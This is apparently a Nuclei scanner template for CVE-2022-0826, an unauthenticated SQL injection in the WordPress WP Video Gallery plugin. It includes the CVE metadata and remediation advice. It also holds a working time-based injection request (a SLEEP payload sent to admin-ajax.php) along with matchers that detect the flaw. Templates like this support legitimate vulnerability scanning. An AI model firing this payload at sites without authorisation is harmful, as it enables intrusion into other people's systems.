2022-12-02 10:39:14 +00:00
id : CVE-2022-0826
info :
2023-01-16 17:41:15 +00:00
name : WordPress WP Video Gallery <=1.7.1 - SQL Injection
2022-12-02 10:39:14 +00:00
author : theamanrawat
severity : critical
description : |
2023-01-16 17:41:15 +00:00
WordPress WP Video Gallery plugin through 1.7.1 contains a SQL injection vulnerability. The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of WP Video Gallery plugin (>=1.7.2) or apply the vendor-provided patch to mitigate the SQL Injection vulnerability.
2022-12-02 10:39:14 +00:00
reference :
- https://wpscan.com/vulnerability/7a3eed3b-c643-4e24-b833-eba60ab631c5
- https://wordpress.org/plugins/wp-video-gallery-free/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0826
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-0826
cwe-id : CWE-89
2023-10-22 12:16:24 +00:00
epss-score : 0.02409
2023-11-01 14:45:21 +00:00
epss-percentile : 0.88737
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wp-video-gallery-free_project:wp-video-gallery-free:*:*:*:*:*:wordpress:*:*
2022-12-02 10:39:14 +00:00
metadata :
2022-12-05 06:01:29 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : wp-video-gallery-free_project
product : wp-video-gallery-free
2023-09-06 11:59:08 +00:00
framework : wordpress
2022-12-08 13:58:02 +00:00
tags : cve2022,wp-plugin,wpscan,cve,wordpress,wp,sqli,wp-video-gallery-free,unauth
2022-12-02 10:39:14 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-02 10:39:14 +00:00
- raw :
- |
@timeout : 15s
POST /wp-admin/admin-ajax.php HTTP/1.1
2022-12-03 11:07:30 +00:00
Host : {{Hostname}}
2022-12-02 10:39:14 +00:00
Content-Type : application/x-www-form-urlencoded
action=wp_video_gallery_ajax_add_single_youtube&url=http://example.com/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523
2022-12-05 06:01:29 +00:00
2022-12-02 10:39:14 +00:00
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
2022-12-05 06:01:29 +00:00
- 'contains(body, "Registred videos :")'
condition : and
2023-11-02 07:14:22 +00:00
# digest: 4a0a00473045022100bea681abb1e47c941b8bee9fee743ce6e3b98ab12fad0a896475daec496a9ecb022019c98bf2dcf8c6d737931840587ef9b41c1118956f4826cfcdf13900bd8cf5f2:922c64590222798bb761d5b6d8e72950